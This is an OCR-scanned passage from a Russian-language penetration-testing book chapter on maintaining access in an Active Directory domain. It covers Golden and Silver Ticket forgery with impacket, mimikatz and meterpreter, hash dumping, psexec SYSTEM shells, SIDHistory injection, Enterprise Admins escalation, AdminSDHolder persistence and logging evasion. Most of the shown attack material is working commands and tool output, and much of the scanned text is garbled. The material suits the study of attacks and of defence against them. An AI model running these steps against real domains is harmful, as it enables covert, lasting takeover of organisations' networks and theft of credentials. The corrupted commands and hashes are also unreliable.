КRВ5CCNAМE=anyuser . ccache
Сохранение доступа при атаке на домен 137 Impacket v0 . 9 . 20 - Copyright 2019 SecureAuth Corporation (*] Creating basic skeleton ticket and РАС Infos [ *) Customizing t icket for domain . dooi/anyuser [• ) (•] [•] [*] [ •) (*) (•) [ •) PAC_LOGON_INFO PAC_CLIENT_INFO_ТYPE EncTicketPart EncAsRepPart Signing/E11crypting fiпal ticket PAC_SERVER_CHECKSU'4 PAC_PRIVSVR_CHECKS� E11cTicketPart [* ] EncASRepPart [ • ] Saving ticket iп anyuse r . ccache Рис. 7.9. С()эдание Goldeп Ticket с помощью ticketer Теперь подключимся с Помощью psexec из того же пакета impacket (рис. 7. 1 0). · pythonЗ psexec . py -k -no-pass [ домен ] / [ лользователь ] @ [имя хоста] Получаем удаленное управление с правами SYSTEM. : /usr/shan/doc/python3-�cket/exмp1es$ python3 psexec .py Inpacket v0.9 . 2 8 - Copyright 2019 SecureAuth Corporation -k -no-pass dooain .doo/anyusel'Q)>'IN-SULR6ElJТJ9 [•) Requesting shares on WIN-SULR6E1JТJ9" " . [ *) [•] [ *] [•] [*) [!) Found writаЫе share А Uptoading fite ChlYvenW. exe Opening SVCМanager on WIN-SULR6E1JТ J9" " . Creating service МOQz on WIN·SULR6E1JTJ9 . . " . Starting service МOQz . . . " Press hetp for extra shett COOlllands Microsoft Windows [Version 10.0. 1�393 ] ( с ) e•a••aiµ1,n ia••a•8•IГ (Мicrosoft Corporation) , 2016. ellii »ааба Оае,еN1б. C:\Windows\systeп32>I Рис. 7.10. Подключаемся к хосту, используя Goldeп Ticket Mi m ikatz Создадим поддельный золотой билет с помощью mimikatz (рис. 7. l l ). Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в па мЯти. mimikatz tJ kerberos: : golden /domain : do1nain. don1 /sid : S - 1 - 5- 2 1 - 7191 1120З- 942671Зt14-1831409S28 /rca : 08fSЬf2e292d77d&e460d392бaed90de · /user: anyuser /]d: 500 /ptt User anyuser domain . dom {DQli\AIN) Domain SID S - 1 - S - 2 1 - 719111203-942671 344 ·1831409528 500 User ld • 513 512 52\Э Sl& 519 Id ServiceKey: 08f5Ьf2e292d77d8e460d3926a0d90de - rc4 Groups 1 hшас � nt Lifeti11e : 03 . 04 . 2020 14 : 14 : 22 ; 01 . 04 . 2030 14:14 22 ; 0 1 . 04 . 2030 14 : 14 : 22 Ticket · • Pass The Ti(�H • • 1- > : РАС generated РАС signed EncТic ketPart generated Enc ТicketPart encrypted KrbCred generat�d <;olden ti c ket for ' ctn}ruser � .э .......__ ion s::.; .... � . __ dom in . dom ' successfully subinitted for current ses:.. '-"' � Рис. 7.1 1 . Соэдание Goldeп Ticket с помощью mimikatz
Гла ва 7 138 Давайте проверим это, вызвав командную строку. mimi katz # misc : : cmd Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket (рис. 7. 1 2). Рис. 7.12. Соэдание Goldeп Ticket с помощью mimikatz Meterpreter Для работы с meterpreter будем использовать модуль kiwi. ПервЬ1м делом создадим Golden Тicket (рис. 7. 1 3). � > golden_t1cket_create - d doma 1 n . dorn -u anyuser -s S-1-S-21-719111203-942671344-1831409528 k 08fSЬf2 e292d77d8e460d3926a0d90de -t /home/rat f/tmp/anyuser . tck Golden Kerberos t icket wr1tten t o /home/ralf/tmp/anyuse r . tck _ Рис. 7.13. Создание Goldeп Ticket с помощью meterpreter Теперь применим его (рис. 7. 1 4). � [�1 [+] > kerberos_t lcket_use / h ome/ ralf/tmp/anyuser . t c k Using Kerberos t icket stored i n /home/ralf/tmp/anyuser . t c k , 1788 bytes .. . Kerberos ticket appl ied successfully . Рис. 7.14. Применение Goldeп Ticket с помощью meterpreter И проверим, что билет успешно загружен (рис. 7 . 1 5). meter reter > kerberos_t icket_l ist [+] Kerberos t ickets found in the current session . [ 00000000) - 0•00000017 - rc4_hmac_nt Start/End/Ma xRene1v: 03 . 04. 2020 15 : 13 : 18 ; 01. 04 . 2030 2 3 : 13 : 18 Server Name krЫgt/domai n . dom @ domain . dom Clie11t Name anyuser � domain . d F1ags 40е00000 pre_autheпt ; i11itial ; renewaЫe 01 . 04 . 2030 23 : 13 : 18 forwardaЫe Рис. 7.1 5. Загруженный Goldeп Ticket
Сохранение доступа при атаке на домен 139 Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изме нении их ролей и даже при удалении скомпрометированных учетных записей. Kerberos Silver Ticket Silver Тicket - это поддельные билеть1 TGS, также называемые билетами службы. Как показано на схеме аутентификации Kerberos с Silver Тicket (рис. 7 . 1 6), в этом случае отсутствуют шаги AS-REQ/AS-REP и TGS-REQ/ТGS-REP, что исключает взаимодействие с контроллером домена. То есть у нас получается избежать логиро вания, т. к. журналы событий располагаются на сервере. Контроллер домена ,,, " - . . ..... / .' / / �ш..\,,.1=� ком пь ютер пользователя 5 AP REQ (pre ..._ 6. АР REP ( sent TGT for acc оnциональн�• исп ess) ____ _ ользуется nри эаn _ о .., росе взаимнои. ауте нтификации)� · Сервер приложения Рис. 7.16. Схема аутентификации KerЬeros с Silver Ticket Серебряный билет Kerberos - действительный билет Kerberos TGS: он зашифро ван и подписан учетной записью службы, для которой настроено SРN-имя для каж дого сервера, на котором, в свою очередь, работает служба проверки подлинности Kerberos. В то время как Golden Ticket является поддельным TGT для получения доступа к тобой службе KerЬeros, Silver Тicket представляет собой поддельный TGS. А это означает, что область его применимости ограничена определенной службой. Из всего вышесказанного следует, что вместо хеша пароля учетной записи krbtgt нужен хеш пароля учетной записи службы, а также ее SРN-имя. В табл. 7. 1 пред ставлены наиболее интересные службы и соответствующие им типы билетов.
Гла ва 7 140 Таблица 7. 1 . Службы и типы билетов Служба Тип Silver Ticket WMI HOST, RPCSS PowerShell Remoting HOST, НТТР WinRM HOST, НТТР Запланированные задачи HOST Общий доступ к файлам Windows (CIFS) CIFS LDAP LDAP Средства удаленного администрирования Windows RPCSS, LDAP, CIFS Админ•с тратор : 500 : ааdЗЬ435Ь51404ееааd31:1435Ь51404ее : 7d909277c8dб9995d44cc7418f 174bb4 : : : Гость: 501 : ааdЗЬ435Ь51404ееааd3Ь435Ь51Ч04ее : 31d6cfe0d16ae931Ы3c59d7e0c089c0 : : : Defaul tAccount : 503 : ааdЗЬ435Ь51404ееааd3Ь435Ь51404ее: 3 1d6cfe0d16ae93 1ЫЗc59d7e0c089c0 : : : [* ] [ *] [•] Dumping c ached dornain logon information ( dornain/usernaщe : hash) Dumping LSA Sec rнs $1.\ACHINE .АСС 00'.\AIN\\VIN-SULRбElJТJ9$ : aes256-c t s-hmac-s hal -96: З fd976079614 7124S8f33667 1 Ы7Ьа34с431е95еf74a8a0b0330608Ы875cd5d COМIN\\l'IN- SULRбE lJТ J9$ : aes128-cts-hma c -sha1-96 : 609е662Зfd0162 e9bca866a70а f с 7263 DO/.\AIN\WIN-5ULR6E1JТ J9$ : des-cbc-mdS : 624f се4с918654 fd OOМAIN\\VIN- 5ULR6E1JТ J9$ : ааdЗЬ4ЗSЬS 1 404ееааdЗ Ь435Ь51404ее :c854d3fllea2ad22267ed4S71f77d29 Рис. 7.17. Получение хешей с помощью secretsdump rneter reter > hashdump ЬЬЬЬЬЬЬЬЬЬЬЬЬ : 500 : аэdЗЬ435Ь51404ееааdЗЬ435 Ь51404ее : 7d9092 7 7 с8d69995d44с с 7418f174ЬЬ4 : : : ЬЬЬЬЬ : 50 1 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : З 1dбсfе0d16ае931ЫЗс59d7е0с089 с0 : : : krbtgt : S02 : aadЗb43Sb51404eeaad3b435b51404ee : 08f5bf2e292d77d8e460d3926a0d90de : : : DefaultAccou11t : 503 : aad3b43Sb51404eeaadЗb435bS1404ee : З ld6cfe0dlбae931ЫЗc59d7e0c089c0 : : : rооt : 1000 : ааdЗЬ4З5Ь51404ееааdЗЬ435Ь51404ее : 2 59745сЫ2За52аа2е69Зааасса2dЬ52 : : : \�IN-5ULR6E1JТJ9 $ : 100 1 : ааdЗЬ435Ь51404ееааdЗЬ435Ь51404ее : c8S4d3f11ea2ad22267ed4571f77d29 Рис. 7.18. Получение хешей с помощью meterpreter �u: he n : i c a: i o n : d 0 ; S e :; s i or1 :n:e r a c : i �e from Lls e r r1ame Doma iп L ogor1 Ser\:er :Logor1 � :me s:o 64017 ( 0 00 0 00 0 0 : 0000 f a 1 1 ! 1 D•·.l-' - 1 �·,ir11]0l·1 r.1ar1 .э g e •" {null) 0 3 . 04 . 2 0 2 0 1 0 : 57 : 2 0 S - 1 - S - 90 - 0 - 1 ffiS'.' [ 00 0 0 0003 U s e rname Domain DCl-'A:N fГ ' L!·1 c8 54d3f1 1ea2ad22267ed4 571f77d29b SHAl e c 9 З 6 0 3e c 6 04ffb 8 8 5 Ы 7 7 8 b d0 16 f a 5 d4 7 5 1 8c 9 B :sp<g : tJ•jiges: U s e rname Domaiп · . PaS SiJO�d lzerberos : · Username \"-- Doшa i r1 Рис. P r i m a ry l·.:r1 - 5U LR6E 1 Г J 9S � = N - 3 U LR6E 1 J 7 J 9S DCr>д:r1 ( nu : l �: N - 3U L R6 � 1 J - J 9 S do111a i п . t..1 ori 7.19. Получение хеша учетной записи компьютера с помощью mimikatz
Сохра нение доступа прu атаке на домен 141 Разберем создание Silver Ticket на примере службы cifs. Она позволит нам обра щаться с правами администратора к любому общему ресурсу на компьютере, чего хватит для работы через psexec с правами SYSTEM. Для службы cifs нам достаточно хеша пароля учетной записи компьютера. Его можно получить так же, как и в случае с Golden Тicket (рис. 7 . 1 7, 7 . 1 8). В случае с mimikatz можно использовать sekurlsa : : logonpasswords (рис. 7 . 1 9). Теперь давайте создадим и применим Silver Ticket. Tic keter Для начала сгенерируем Silver Ticket. Сделать это можно по аналогии с золотым билетом, но следует указать SPN службы CIFS (рис. 7 .20). impacket-ticketer -nthash c854d3 f l l ea2ad22267ed4 5 7 1 f7 7d29b -domain-sid S-1-5-2 1 7 1 9 1 1 1 2 0 3-94267 1 3 4 4 - 1 8 3 1 4 09528 -domain domain . dom -spn. cifs/ [ hostname] anyuser : /u•r/sl..,r•/<loc/python3-impack�t/<xon\)l<s$ sudo impacket-ticketer -nthash c854d3f1 1ea2ad22267ed4571f77d29b -donain-sid S -1-S-21-719111203-94267131,4-1831409528 -donain donain.don -spn cHs/win-5utr&e1jtj9 anyuser Inipacket v0.9.2& - Copyri ght 2019 SecureAuth Corporation [*) (*} [•) (•) (• J (. J (•] [•] [•) [ •] [ •) [ *) Creating basic skeleton ticket зnd РАС Infos Custooi.ting ticket for dooain. doo/anyuser PAC_LOGON_INFO PAC_CLIEN'Т_INF0_1'YPE EncTicketPart EncTGSRepPa rt Signing/Encrypting fina\ ticket PAC_SERVER_CНECКS!.114 PAC_PRIVSVR_CНECКS\lol EncTicketPart EncTGSRepPart Saving ticket in anyuser. ccache Рис. 7.20. Получение хеша учетной записи компьютера с помощью mimikatz Теперь экспортируем тикет. export КRB5CCNAМE=anyuse r . ccache И наконец, получим управление с правами : /us.r/St1i'tte-,noc: pyttio:-·J · t.!1p;1r;:·kot/e:tE�Ptе�$ [!] Requesting shares on IYIN-SULR6ElJТJ9 . r Found wri tаЫе s ha e А с помощью pythonЗ psexec . ру Impacket vo. 9 . 2 е - Copyright 2019 SecureAuth Corporation [ •] [• ] [•) ( *] [ •] [•] SYSTEM - k psexec (рис. 7.2 1 ). -no-pass doma1n . dom/anyuserQ№IN-SULR6E1JTJ9 . . . • Uploading file Pl•LsNRV\<. exe Opening SVQ.!anager on WIN-SULRбE 1 JТJ9 . . . . . Creating service OGPX on WIN-SULR6E1JТJ9 . . . . . Starting service OGPX . . . . . P ress help for extra shell cOOJ11ands Microsoft Windmvs [Version 10. 0 .14393) ( с ) e•a••«aµLn ia--a•B•Ir (Microsoft Corporation ) , 2016. e6N »ааба Оае1.еN 1 б . с : \Windmws\system32>1 Рис. 7.21 . Получение хеша учетной записи компьютера с помощью mimikatz
Гла ва 7 142 Mi m ikatz NTLM-xeш пароля учетной записи компьютера используется с параметром rc4. При этом мы можем придумать как имя пользователя, так и его User ID (в параметре id) . В параметре service укажем cifs, а в target - полное имя компьютера (рис. 7.22). kerberos : : golden /admi n : anyuser /domain : domain . dom / i d : l l l l /sid : S-1-5 � 2 1 - 7 1 9 1 1 1 2 039 4 2 67 1 3 4 4 - 1 8 3 1 4 0 95 2 8 /target : [hostname] /rc4 : [NTLМ хеш] /service : cifs /ptt mimikatz # ke1·beros : : golden /adm.i n : ,myuse1· /domai п : domain . dom /id : 1 1 1 1 / s id : S - 1 - S - 2 1 - 71911 120:3 -942671344- 1331409528 /tar get : t.J HJ- SULR6E 1 J T J 9 . domain . dom / rc4 : c854d3f11ea2ad22267ed4S71f77d29ti / service : c i f s /ptt tJser anyL1ser Domain SID User Id Groups I d Ser11.i<eKey: Serv .i ( e doшain , d•Jm (DOHA!N,> S-1-5- 21- 7 1 9 1 112id3 · 942С.71344 1З314Еi9528 1111 · 513 512 520 518 519 c854d3f 11ea2ad22267ed4S71 f77d29b c i fs r(4 hmac nt HHJ - SULRбE lJ Т J 9 . doma.i r. . Jom Tar>get Li fetime . > Ticket 03 . 0 4 . 2020 1 8 : 0 1 : 15 ; 01 . 04 . 2030 18:01 : 15 ; 01 . 04 . 2030 18 : 01 : 15 • • Pas.s The Ticket " � РАС gener·at�d РАС signed Encт:cketPart gener·ated Enc Т i c ketPart enи·ypt«>d Kr·b( red gene1·atE'd (joldE'n ticket for ' anyLJser -� domai r, . dom' Рис. 7·.22. s�1и�ssfully suьmitted for c1..н� 1·ent session Получение xewa учетной записи компьютера с помощью mimikatz Проверим загруженные в память билеты и обнаружим там только что созданный (рис. 7.23). ntiini katz r.t [ 3<1000000] 1 1 kerbe"os : : 1 1 s t 0х1Э000'1017 Start/End 1MaxRene� rc4_11mac п: 18 . 0 1 1 • , : � 03 . 04 . 2BLB . 8 1 . 04 . 2030 18 : 8 1 : 15 SerVE'r flame : г i f s t l·. : r 1 - :.Ll l R6 E l l Т J l1 . don1 a 1 n L1 0m F lags 40а1ЗО0GО : p r e_autt1ent C l i<>nt 1 n1 r a e Рис. 7.23. 1 � ; doma 1 n . don1 81 . 84 . 2030 1 8 . 01 . 1 ; r�netjaЫ.:. ; fo1·��a1•LiaЫe , Получение xewa учетной записи компьютера с помощью mimikatz Существует мнение, что Silver Тicket куда более опасны, чем Golden Ticket, не смотря на то что область их действия ограниченна. Эrо справедливо потому, что хеш службы легче получить, чем хеш krЬtgt, а обнаружение такого вторжения сложнее из-за отсутствия взаимодействия с контроллером домена. SIDHistory · это атрибут объекта в Active Directory, который хранит старый SID. Наиболее часто он применяется при миграциях. Эта функция необходима при пе реносе учетных записей пользователей из одного доверенного домена в' другой. При этом учетные записи полностью сохраняют настройки доступа к старым ре сурсам и файлам. Когда пользователь проходит проверку подлинности, идентифи каторы безопасности каждой группы безопасности, членом которой он является, sшнistory -
Сохранение доступа при атаке на домен 143 добавляются в билет Kerberos этого пользователя, а также в атрибут учетной записи. S I DHistory его При создании. нового пользователя SIO его учетной записи будет .отличен от SIO другlр( учетных записей. Это также справедливо при переносе дользователя из пер вого Домена во второй. В таком случае SIO учетной записи пользователя из первого доме\fа будет добавлен в S I DHistory учетной записи во втором домене. Именно поэтd� пользователь из второго домена может получить доступ к своим старым ресурсам и файлам в первом домене. Но, ч1;о удивительно, если обычный пользователь во втором домене имеет в атрибуте SI DH i s t o ry своей учетной записи SID учетной записи одного из админист раторов первого домена, то данный пользователь становится привилегированным в первом домене! То есть пользователю будут предоставлены права администрато ра домена без его участия в группе «Администраторы домена». Таким образом, для сохранения привилегированного доступа в доверенном домене оператор может включить SID привилегированной учетной записи в целевом доме не в атрибут sшнistory контролируемой им непривилегированной учетной записи из доверенного домена. С помощью mimikatz мы можем внедрить любой SID в атрибут S I DHistory любого пользователя (но для этого нужны права администратора, которые у нас, конечно же, есть). На рис. 7 .24 видно, что пользователь notroot не имеет административного доступа. : • $ pythonЗ /usr/sharefdoё"/pythonЗ�fmpacket/examp1es/psexec . р;; п o t rootii!192 Impacket v0 . 9 . 20 - Copyright 2019 Secu reAuH1 Corporation . lбВ . б . 100 Password : [ * ] Requesting shares оп 192 . 168 . 6 . 100 • . • . . ( * ] Found 1•ritaЫe st1are А [ *) Up load ing f ile hPlmFEIYH . ехе [ • ] ,Opening SVU�anJger or1 192 . 168 . 6 . 100 . . . . . [ · ) 'f.rror oper1ir1g 5'/С:Мапаgеr on 192 . 168 . 6 . 100 . " " [ - ] E1·ror performing the insta tlat ion , cleanino, up: Ur1зble to open 5VCJ4ariager Рис. 7.24 . Неудачное подключение с помощью psexec от имени поль3овател" пotroot Давай посмотрим атрибут S I DHistory этого пользователя (рис. 7.25). PS > Get -ADUser [пользователь ] -Properties S I DHistory ps C : \Users\ root> Get -ADUser notroot - Properties SIDHistory DistinguishedName Gi v·eпName · CN=N , CN · U se r s , DC=doma i n D , DC·dom f"J ГI l'Jame Obj e c t Cl ass, use r · ObjectGUIO 4cc8cba 6 - e5cб -48db - 9 7 1 f - 8 c S c 9 7e4 3 f48 SamAccouпt Name notroot S - l - 5 - 2 1 - 158377019 1 - 14800844 6 - 326828444 1 - 1104 SID {} SIDHistory Surname UserPrincipalName (<i notroot •domainD . dom Рис. 7.25. SIDHistory nольэователя notroot
Гла ва 7 144 Рис. 7.26. Получение информации о пользователе с высокими привилеги11ми Данный атрибут у пользователя пуст. Теперь узнаем SID администратора, который необходимо туда внедрить (рис. 7.26). Давай внедрим с помощью mimikatz SID привилегированного пользователя в атрибут S I DHistory обычного пользователя notroot (рис. 7.27). root mimi katz # privilege : : debug mimi katz # sid : : patch mimi katz # s i d : : add /sam: [ целевой пользователь ] /new : [ S I D чей S I D внедряется] mimi katz 11 privilege : : debug·Privi lege " 20 " ОК или пользователь , · mimikatz 1 s i d : : patch Patch li 2 : "ntds" service patched Patc h 2/ 2 : ERROR kul l_m_patch_genericProces s01'Servi c eF r-omBuild ; mi mi katz !! kul l_m_patch (0х00000057 ) s i d : : эdd / san1 : notroot / n eн : S - 1 - 5 - 2 1 - 71 9 1 1 1 203 - 94 2 6 7 1 344 - 183 1409 5 2 8 - 1000 N = r• , CN=Users , DC=domainD, DC=dom nanie : f>I ? objectGUI D : objectS i d : · {4cc8cba6 - e5 c б -48db - 97 1 f - 8c5c 97e43f48} S - 1 - 5 - 2 1 - 15837701 9 1 - 140008446 - 326828444 1 - 1 104 sAHAccount1'-Jan1e : · Ni ll try to пotroot . a dd . " s IDHistory ' this nен SID : ' S - 1 - S - 2 1 - 7 19 1 1 1 2 03 - 94 2 6 7 1 344 - 18 3 1409528 - 1000 ' : ОК ! Рис. 7.27. Внедрение в SID с помощью mimikatz Все прошло успешно. Теперь снова проверим атрибут S I DHistory нашего пользова теля. Как видно на рис. 7.28, в атрибуте S I DHistory теперь присутствует SID приви легированного пользователя. При входе в систему от имени пользователя notroot все идентификаторы безопас ности, связанные с этой учетной записью, добавляются в токен пользователя, 'кото рый задействован для определения доступа к ресурсам. Если точнее, туда добавля ются: 1 . SID, связанный с учетной записью пользователя. 2. SШ'ы групп, в которые входит пользователь (включая группы, членами которых являются эти гр�ппы). 3 . SID'ы, содержащиеся в S I DHis tory.
Сохранение доступа при атаке на домен 145 PS C : \Users\root> Get - ADUser notroot - Propert ies SIDHistory D i s t i nguishedName C N = IJ , Ol=Users , DC=doma i n D , DC=don1 Gi \'ent.J.ame N Name N Obj ec t C l a s s user ObjectGUID 4cc8cba6- e5c6-48db- 9 7 l f - Bc 5c97e43f48 SamAccountName notroot SID S - 1 - 5 - 21 - 1583770191 - 14000844 6 - 326828444 1 - 1104 SIDHistory { S - 1 - 5 - 2 1 - 7 19 1 1 1 203 - 942671344 - 1831409528- 1000} Surname UserPrinc i palName notroot@doma i n D . dom Рис. 7.28. SIDHistory пользователя notroot Если снова попытаться войти в систему от имени пользователя notroot, то можно �аме-iить, что теперь он имеет административный доступ (рис. 7.29). : $ pythonЗ /usr/share/doc/pythonЗ-impacket/examples/psexec . py notroot@192 . 168 . б . 100 Impacket v0. 9. 2 0 - Copyright 2019 Secш·eAuth Corporatio•1 Pass.vord : [ • ] Requestir•g stiares оп 1 9 2 . 1 68 . 6 . 100 . . . . . [ • ] Found 1VritaЫe share А [ • ] Upload1ng file gioZfoRv . ex e [ • ] Open1ng SVCJ.\anager o n 192 . 168 . 6 . 100 . . . . . [ • ] Creat1ng service pNBE on 192 . 168 . 6 . 100 . . . . . [ *] 5tart1ng service pNBE . . . . . [ ' ] P1·ess t1elp for extra shell cOOJnands Microsoft W1ndo1vs [Version 1 0 . 0 . 14393 ] ( с ) e«a•«aaµ,;n ia"a«B«H (/�1crosoft Corporatio11 ) . 2 0 1 6 . eBN »ааба Oa0;6N ; о . С : \Windo1vs\syste<113 2>1 Рис. 7.29. Успешное подключение от имени пользователя notroot с помощью psexec Когда пользователь notroot входит в систему, SID'ы, связанные с его учетной записью, оцениваются и доступ определяется на основе этих SID. Так как учетная запись notroot связана с учетной записью root (администратор), учетная запись notroot имеет все права доступа к учетной записи root, включая права администра тора домена. Golden Ticket + SIDHistory Родительский (корневой) домен содержит группу администраторов всего леса Enterprise Admins. Поэтому, когда хеш пароля учетной записи krbtgt предоставля ется в дочернем домене, существует определенное ограничение. Так как mimikatz добавляет членство в группе за счет относительных идентификаторов (RID), то в данном случае в билете Kerberos группа RID 5 1 9 (Enterprise Admins) будет иден тифицирована как локальная по отношению к домену, в котором был создан билет (на основе домена учетной записи krbtgt) . Но если идентификатор безопасности, полученный путем добавления RID к SID'y домена, не существует, то владелец билета Kerberos не получит определенный уровень доступа. Таким образом, если домен, в котором бьm создан Golden Ticket, не содержит груп пу Enterprise Admins, то данный билет не предоставит права администратора для
146 Глава 7 других доменов в том же лесу. Если сделать Golden Ticket с помощью mimikatz и обратиться к ресурсам в своем и другом доменах, то во втором случае мы получим отказ в доступе (рис. 7.30). mimi ka t z # kerberos : : golden /admin : anyuser /domain : domA. domain . dom /sid : S- l -5-217 1 9 1 1 1 2 0 3 - 9 4 2 67 1 3 4 4 - 1 8 3 1 4 0 9 5 2 8 - 1 0 0 0 / krbtgt : 0 8 f5Ьf2e292d77d8e460d392 6a0d90de /ptt Рис. 7.30. Рис. 7.31 . Обычный Goldeп Ticket с помощью mimikatz Goldeп Ticket с SIDHlstory с помощью mimikatz М ы уже подробно разобрали, как работает S I DHistory, и знаем, что билет Kerberos содержит этот параметр. Давай добавим в золотой билет Kerberos, а именно в пара метр S I DHistory SID группы Enterprise Admins (рис. 7.3 1 ).
Сохранение доступа при атаке на домен 147 mimikatz # kerberos : : golden /admin : anyuser /domain : domA. domain . dom /sid : S-l-5-217 1 9 1 1 1 2 03-94267 1 3 4 4 - 1 8 3 1 4 0 9 5 2 8 - 1 0 0 0 / krbtgt : 0 8 f5bf2e292d7 7d8e4 60d392 6a0d90de /sids : [ S I D группы Enterprise Admins] /ptt Таким образом мы получаем доступ ко всему лесу. AdtninSDHolder AdminSDHolder - это обЪект, расположенный в разделе System в Active Directory ( cn=adminsdholde r , cn=system, dc=domain, dc=dom) . Он используется в качестве шаблона безопасности для объектов, которые являются членами определенных привилеги рованных групп, называемых защищенными группами (рис; 7.32). � Рw�стиро••ние: AOS! Ф1М ""1 Ае"n•ие: Вид Cnp.Jeкa I X 1J l9J [} l l m!!i � Pцaicntpoaaнtir: ADSI v 1 Контекст мменоа1ни• nоумолчанию DC.:dom1in.DC=dom CN:Suiltin (;'3 1:\ CN:Computers OU:Dormin Controllers contain_e:r contail'Н!r CN:ComPartitionSet:s,CN=Syste:f1\DC:.dom"11\0C:dom domainPolicy CN:Def,щlt Dom111n Policy,CN=System,DC=dom1J1n,DC= dom � CN::.Ddault OomJin Polky CN:Keys CN:LostAndFound CN: NTDS Quotos > CN=ComPartitions CN:ComPaFtitionSМ.s CN:Fore}gnSecurJtyPrincip1ls !il CN:М<!naged Service Accounts · 8 CN:Progr1m 011ta CN=Sys!>m iili:I CN: ТРМ Dмces ;11 CN:: Use:rs CN=Filt Replkation Sf:fVict Ш C.N:FileLinb � CN::: IP Security i1' CN-=Mtdings ;;.1 CN::M icrosoftDNS D CN::Password Stttings Con". CN::ComP•rtitions,CN:Syste:m.DC:dom11n.DC:dom dfsConfigura". CN=Ofs-Configur�ion,CN=Syite:m,DC::dom11n,DC;dom msDFSR-Glo". CN:OFSR-GloЬ.l�ings.CN:System,DC:dornain,DC:doм cont1111er CN:OomainUpd&tes,CN=Systm"1,DC:dom1in.DC::dom nТFRSSetit ngs CN:F1le Rep/.cetion Strvicr.,CN=Systern,,DC:dormin,DC=dom fileLink.Tr1clci... CN:Filfi.inks,CN:: System,DC=domain,DC=dom cont1iner CN::IP Жurity,CN:System,DC: dom4in,0C=dom cont11ner CN=Meetings.CN=SysteщDC: domail\DC=dom conbinб CN:MicrosoftDNS.CN=System,DC::dom&in,OC=dom msDS-Pиsw." CN::Pиsword Settings Container,CN:Systtm.DC::domain,OC:dom Рис. 7.32. Объект AdminSDHolder В Active Directory учетные записи и группы с высоким уровнем привилегий по умолчанию считаются защищенными. При использовании большинства объектов в Active Directory администраторы или пользователи, которым были делегированы разрешения на управление объектами Active Directory, могут не только изменять права доступа к объектам, но и управлять самими разрешениями (к примеру, чтобы настраивать членство в группах). Но есть одна особенность: в случае защищенных учетных записей и групп разре шения объектов устанавливаются и применяются автоматически. Это гарантирует, что разрешения на объекты останутся единообразными, даже если объекты будут перемещены в другой каталог. Таким образом, если кто-либо вручную изменяет разрешения защищенного объекта, эти разрешения будут возвращены к их значе ниям по умолчанию. Объекты, которые по умолчанию считаются защищенными группами, - это опера торы учета, администратор, администраторы, операторы архива, администраторы домена, администраторы предприятия, администраторы корпоративных ключей, администраторы ключей, KRВTGT, операторы печати, контроллеры домена только для чтения, репликатор, администраторы схемы, операторы сервера. В отличие от большинства объектов в домене Active Directory, владельцем которых являются группы «Администраторы)), объект AdminSDHolder принадлежит группе «Админист-
Глава 7 148 раторы домена». Таким образом, все защищенные с помощью AdrninSDHolder объекты имеют атрибут AdminCount, установленный в 1 . Но если объект удалить из защищен ной группы, значение атрибута Admincount не изменится. Так как главным условием защищаемого объекта становится значение атрибута Admincount, равное 1 , мы можем найти все эти объекты с помощью следующего скрипта. $ldapFilter = " ( adminCount=l ) " $domain = New-Obj ect System. DirectoryServi ces . DirectoryEntry $search = New-Obj ect System. DirectoryServices . DirectorySearcher $search . SearchRoot = $doma in $search . PageSize = 1000 $search . Filter = $ldapFilter $search . SearchScope = "SuЬtree" $result = $search . FindAll ( ) foreach ( $ res in $result ) { $userEntry = $res . GetDirectoryEntry ( ) Write-host "Object Name = " $userEntry . name Write-host "Obj ect Class = " $userEntry. objectClass foreach ( $AdminCount in $userEntry . adminCount) { Write-host "AdminCount = " $AdminCount Write-host " " Список контроля доступа (ACL) объекта AdminSDHolder применяется как шаблон для всех разрешений всем защищенным объектам Active Directory и их членам. Для обеспечения безопасного доступа к защищенным объектам Active Directory будет брать ACL объекта AdminSDHolder и периодически применять его ко всем этим объ ектам, т. е. ко всем пользователям и группам. Таким образом, если мы можем ма нипулировать списком ACL для AdminSDHolder, эти разрешения будут автоматически применены ко всем защищенным объектам, что позволит создать постоянный дос туп к привилегированным учетным записям в домене. За автоматизацию восстановления разрешений защищенных объектов отвечает процесс SDProp. По умолчанию восстановление происходит каждые 60 минут (но этот интервал можно изменить). Таким образом, если администратор увидит подоз рительное разрешение для защищенного объекта и удалит его, то спустя указанное время эти полномочия будут восстановлены обратно благодаря SDProp, т. к. атри бут Admincount данного объекта должен быть равным 1 . В результате объект оста нется защищенным. Давай добавим пользователя к adminCount в 1 . AdminSDHolder или выставим пользователю атрибут Get-ADUser [ пользователь ] Set-ADObj ect -Clear adminCount Get-ADUser [ пользователь ] Set -ADObj ect -Add @ { adminCount=l }
Сохра нение доступа при атаке на домен 149 Спустя некоторое время после восстановления разрешений SDProp'oм данная учетная запись будет иметь полный контроль над группой «Администраторы доме на». При этом можно заметить, что пользователь не имеет членства в группах (рис. 7.33). Get-ADUser [пользователь ] -Properties memЬerof rs C : \Window s \ sy s t e m3 2 > Get - ADUser u s e rSD - Propert i e s 'memberof 1 oi s t i nguishedNan1e CN=SD, CN= U s e r s , DC=doma i n , DC=dom EnaЬled G i venName True Nen1be rOf {} SD SD f'.Jame Obj e c t C l a s s user SamAcc ouпtNaшe user'SD SID S - 1 - 5 - 2 1 - 7 1 9 1 1 1 2 0 3 - 94 2 6 7 1 3 44 - 18 314095 2 8 - 1 1 18 Dbj ectGUID 3 3 1 cae08 - 74 2 1 -4528 - a l a 8 - 4 1 7 1 58 7 9 a 3 af Sш'name U s e r P r i n c i palName userS�@doma i n . dom Рис . 7.33. И нформация о целевом пользователе Чтобы изменить интервал восстановления, нужно в ветке реестра НКЕУ_LOCAL_ МACН INE\SYSTEM\CurrentControlSet \Services \NТDS\Parameters создать параметр DWORD с именем AdminSDProtectFrequency, а в качестве значения указать количество секунд (минимальное 60). - это очень хитрый метод, позволяющий нам предоставлять возмож ность менять привилегированные группы в Active Directory, используя ключевой компонент безопасности. Таким образом, даже если разрешения для защищенной группы или пользователя изменены администратором, SDProp вернет разрешения безопасности спустя отведенный интервал времени в соответствии с объектом AdminSDHolder, тем самым возвращая нам административный доступ. AdminSDHolder - [)CShadow В предыдущей части главы мы рассмотрели способ обеспечить персистентность доступа, основанный на изменении разрешений защищаемых объектов, т. е. на управлении списками ACL и манипуляциях с контейнером AdminSDHolder. Но эти способы могут быть зарегистрированы в журнале событий. Чтобы избежать этого, есть решение: DCShadow позволяет вносить такие изменения без регистрации со 